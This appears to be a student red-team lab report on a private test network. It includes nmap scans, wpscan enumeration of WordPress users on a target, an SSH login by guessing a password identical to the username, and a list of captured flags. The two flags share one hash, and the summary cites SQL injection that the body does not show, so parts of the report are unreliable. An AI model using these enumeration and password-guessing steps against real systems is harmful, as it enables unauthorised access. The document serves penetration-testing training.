

# Red Team: Summary of Operations

## Table of Contents

- Exposed Services
- Critical Vulnerabilities
- Exploitation

## Exposed Services

Nmap scan results for each machine reveal the below services and OS details:

```
$ nmap 192.168.1.0/24
```

```
$ nmap -A 192.168.1.0/24
```

```
Nmap scan report for 192.168.1.100
Host is up (0.00079s latency).
Not shown: 998 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
9200/tcp  open  wap-wsp
MAC Address: 4C:EB:42:D2:D5:D7 (Intel Corporate)
```

```
Nmap scan report for 192.168.1.105
Host is up (0.00088s latency).
Not shown: 998 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
MAC Address: 00:15:5D:00:04:0F (Microsoft)
```

```
Nmap scan report for 192.168.1.110
Host is up (0.00078s latency).
Not shown: 995 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
MAC Address: 00:15:5D:00:04:10 (Microsoft)
```

```
Nmap scan report for 192.168.1.115
Host is up (0.00056s latency).
Not shown: 995 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
MAC Address: 00:15:5D:00:04:11 (Microsoft)
```

```
Nmap scan report for 192.168.1.90
Host is up (0.0000080s latency).
Not shown: 999 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
```

This scan identifies the services below as potential points of entry:

- Target 1
  - 22/TCP
  - 80/TCP
  - 111/TCP
  - 139/TCP
  - 445/TCP

The following vulnerabilities were identified on each target:

- Target 1
  - Weak user password
  - MySQL Database access
  - Recycling of Authentication Credentials

```
root@Kali:~# wpscan --url 192.168.1.110/wordpress --enumerate u

  W P S C A N
WordPress Security Scanner by the WPScan Team
Version 3.7.8
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart

[-] URL: http://192.168.1.110/wordpress/
[-] Started: Thu May 19 21:38:13 2022

Interesting Finding(s):

[-] http://192.168.1.110/wordpress/
  Interesting Entry: Server: Apache/2.4.10 (Debian)
  Found By: Headers (Passive Detection)
  Confidence: 100%

[-] http://192.168.1.110/wordpress/xmlrpc.php
  Found By: Direct Access (Aggressive Detection)
  Confidence: 100%
  References:
  - http://codex.wordpress.org/XML-RPC_Pingback_API
  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access

[-] http://192.168.1.110/wordpress/readme.html
  Found By: Direct Access (Aggressive Detection)
  Confidence: 100%

[-] http://192.168.1.110/wordpress/wp-cron.php
  Found By: Direct Access (Aggressive Detection)
  Confidence: 60%
  References:
  - https://www.iplocation.net/defend-wordpress-from-ddos
  - https://github.com/wpscanteam/wpscan/issues/1299

[-] WordPress version 4.8.19 identified (Latest, released on 2022-03-11).
  Found By: Emoji Settings (Passive Detection)
  - http://192.168.1.110/wordpress/, Match: '-release.min.js?ver=4.8.19'
  Confirmed By: Meta Generator (Passive Detection)
  - http://192.168.1.110/wordpress/, Match: 'WordPress 4.8.19'
```

```

i] The main theme could not be detected.

+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:01 <=====> (10 / 10) 100.00% Time: 00:00:01
i] User(s) Identified:

+] michael
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)

+] steven
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)

!] No WPVulnDB API Token given, as a result vulnerability data has not been output.
!] You can get a free API token with 50 daily requests by registering at https://wpvulnDB.com/users/sign_up

+] Finished: Thu May 19 21:38:16 2022
+] Requests Done: 48
+] Cached Requests: 4
+] Data Sent: 10.471 KB
+] Data Received: 284.802 KB
+] Memory used: 123.238 MB
+] Elapsed time: 00:00:03
root@Kali:~#

```

```

root@Kali:~# ssh michael@192.168.1.110
michael@192.168.1.110's password:

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have new mail.
Last login: Wed May 18 10:15:26 2022 from 192.168.1.90
michael@target1:~$

```

## Exploitation

The Red Team was able to penetrate Target 1 and retrieve the following confidential data:

- Target 1
  - flag2.txt: b9bbcb33e11b80be759c4e844862482d
    - **Exploit Used**
      - *Guessed the password, was same as username*
      - *WPSCANNER*
  - flag1.txt: b9bbcb33e11b80be759c4e844862482d
    - **Exploit Used**
      - *SQL Injection/data exfiltration*
      - *Used Linux credentials to break into the database*